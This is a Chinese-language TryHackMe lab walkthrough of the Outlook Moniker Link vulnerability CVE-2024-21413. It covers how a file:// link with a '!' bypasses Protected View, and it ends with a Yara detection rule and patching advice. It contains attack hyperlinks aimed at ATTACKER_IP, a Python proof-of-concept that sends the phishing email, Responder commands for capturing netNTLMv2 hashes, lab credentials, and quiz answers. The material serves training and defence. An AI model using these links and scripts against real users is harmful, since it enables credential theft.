2024年2月13日,微软宣布了一个Microsoft Outlook远程代码执行与凭据泄露漏洞,编号为CVE-2024-21413(Moniker Link)。Check Point Research的Haifei Li因发现此漏洞而受到表彰。
该漏洞绕过了Outlook在处理一种特定类型的超链接(称为Moniker Link)时的安全机制。攻击者可以通过向受害者发送包含恶意Moniker Link的邮件来利用此漏洞,一旦受害者点击该超链接,Outlook就会将用户的NTLM凭据发送给攻击者。
漏洞评分详情如下表所示:
CVSS 描述 发布日期 2024年2月13日 MS 文章 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 影响 远程代码执行与凭据泄露 严重性 严重 攻击复杂度 低 评分 9.8
已知受影响的Office版本如下:
版本 版本号 Microsoft Office LTSC 2021 受影响从 19.0.0 Microsoft 365 企业应用版 受影响 从 16.0.1 Microsoft Office 2019 受影响 从 16.0.1 Microsoft Office 2016 受影响 从 16.0.0 至 16.0.5435.1001 之前
请注意,您需要同时使用AttackBox和附加到本任务中的易受攻击虚拟机。要部署附加的虚拟机,请按下方的绿色“启动机器”按钮。
用户名 tryhackme 密码 Kkh3gv439dnq!
该CVE被分配的“严重性”等级是什么? > 答案 : 严重
Outlook能够将邮件渲染为HTML。您可能会注意到您喜欢的新闻通讯使用了此功能。此外,Outlook可以解析HTTP和HTTPS等超链接。然而,它也可以打开指定应用程序的URL,这些URL称为Moniker Link。通常情况下,当触发外部应用程序时,Outlook会提示安全警告。
启动外部应用程序时触发Outlook的受保护视图
这个弹出窗口是Outlook的“受保护视图”的结果。受保护视图以只读模式打开包含附件、超链接及类似内容的邮件,从而阻止宏(尤其是来自组织外部的宏)等内容。
通过在超链接中使用file:// Moniker Link,我们可以指示Outlook尝试访问一个文件,例如网络共享上的文件(<a href="file://ATTACKER_IP/test">点击我</a>)。这会使用本地凭据进行SMB协议认证。然而,Outlook的“受保护视图”会捕获并阻止此尝试。
此处的漏洞在于,我们修改超链接,在Moniker Link中包含!特殊字符和一些文本,从而绕过Outlook的受保护视图。例如:<a href="file://ATTACKER_IP/test!exploit">点击我</a>.
作为攻击者,我们可以为此类攻击提供一个Moniker Link。请注意,共享在远程设备上不需要实际存在,因为无论如何都会尝试进行一次认证尝试,导致受害者的Windows netNTLMv2哈希被发送给攻击者。
远程代码执行(RCE)是可能的,因为Moniker Link使用了Windows上的组件对象模型(COM)。然而,解释这一点超出了本房间的范围,因为目前尚未公开针对此特定CVE实现RCE的概念验证。
我们在超链接中使用了哪种Moniker Link类型? > 答案 : file:// 用来绕过Outlook“受保护视图”的特殊字符是什么? > 答案 : !
在此攻击中,我们将向受害者发送一封包含类似于上一任务中提供的Moniker Link的邮件。作为攻击者,目标是向受害者发送一封包含能绕过Outlook“受保护视图”的Moniker Link的邮件,这样受害者的客户端将尝试从我们的攻击机器加载一个文件,从而导致捕获受害者的netNTLMv2哈希。
但首先,让我们运行一个我创建的概念验证Poc(该PoC也可在GitHub上获取)。
''' 作者: CMNatic | https://github.com/cmnatic 版本: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # 替换为您的发件人邮箱地址 receiver_email = '[email protected]' # 替换为收件人邮箱地址 password = input("请输入您的攻击者邮箱密码: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # 将HTML字符串转换为字节并附加到消息对象中 msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n 邮件已发送") except Exception as error: print(error) finally: server.quit()
PoC 的作用:
让我们使用Responder在我们的攻击机器上创建一个SMB监听器。对于THM AttackBox,接口为-I ens5。如果您使用自己的设备(例如Kali),接口名可能不同。如果您想作为家庭作业,也可以使用Impacket服务器。
在AttackBox上启动Responder
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
作者: Laurent Gaffie ([email protected])
按CTRL-C终止此脚本
-- 为简洁起见已截断 --
[+] 正在监听事件...
让我们通过点击分屏视图中的“CVE-2024-21413”面板来打开易受攻击的虚拟机。
双击桌面上的“Outlook”快捷方式打开Outlook。当Outlook打开后,在弹出的窗口中点击“我不想登录或创建帐户”。
点击弹出窗口右上角的“X”来关闭第二个弹出窗口(根据您的屏幕分辨率,您可能需要将窗口向左拖动一点)。
完成后,您将看到Outlook界面。在本房间中,受害者的邮箱已在Outlook中为您设置好。
返回您的AttackBox。我们将把上面的PoC复制并粘贴到AttackBox中。
为此,我们将在AttackBox上创建一个新文件。nano exploit.py 并使用分屏视图中的可滑动托盘。请参考下面的GIF了解操作过程。
https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif
在运行Python脚本之前,我们需要在AttackBox上进行一些初始设置:
完成后,我们可以运行漏洞利用程序。当提示输入攻击者邮箱密码时,输入"attacker"。
运行 exploit.py
root@attackbox:# python3 exploit.py 输入您的攻击者邮箱密码: attacker
Python脚本将在邮件发送后打印"邮件已发送"。如果脚本报认证失败,请确保您已正确替换exploit.py中的值。现在,让我们返回易受攻击的虚拟机并检查新邮件:
点击"点击我"超链接,然后返回我们AttackBox上的"Responder"终端会话:
成功!受害者的netNTLMv2哈希已被捕获到我们的AttackBox上。
我们在AttackBox上用来捕获用户哈希的应用程序名称是什么? > 答案 : responder 邮件中的超链接被点击后捕获的是什么类型的哈希? > 答案 : netNTLMv2
Florian Roth 创建了一条Yara规则,用于检测邮件中是否包含Moniker Link中的file:\元素。
CVE
-2024-21413 Yara 规则由 Florian Roth 创建
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "检测包含利用 CVE-2024-21413 在 Microsoft Outlook 中方法迹象的邮件"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
此外,在数据包捕获中可以看到从受害者到客户端的SMB请求,其中包含截断的netNTLMv2哈希。
点击我以继续下一个任务! > 答案 : 无答案
微软已在二月份的“补丁星期二”发布中包含了解决此漏洞的补丁。您可以在此处查看按Office构建版本列出的KB文章列表。强烈建议通过Windows更新或Microsoft更新目录更新Office。
此外,在此期间,提醒用户遵循通用的安全实践是一个及时的措施。例如,提醒用户:
点击我以继续下一个任务。 > 答案 : 无答案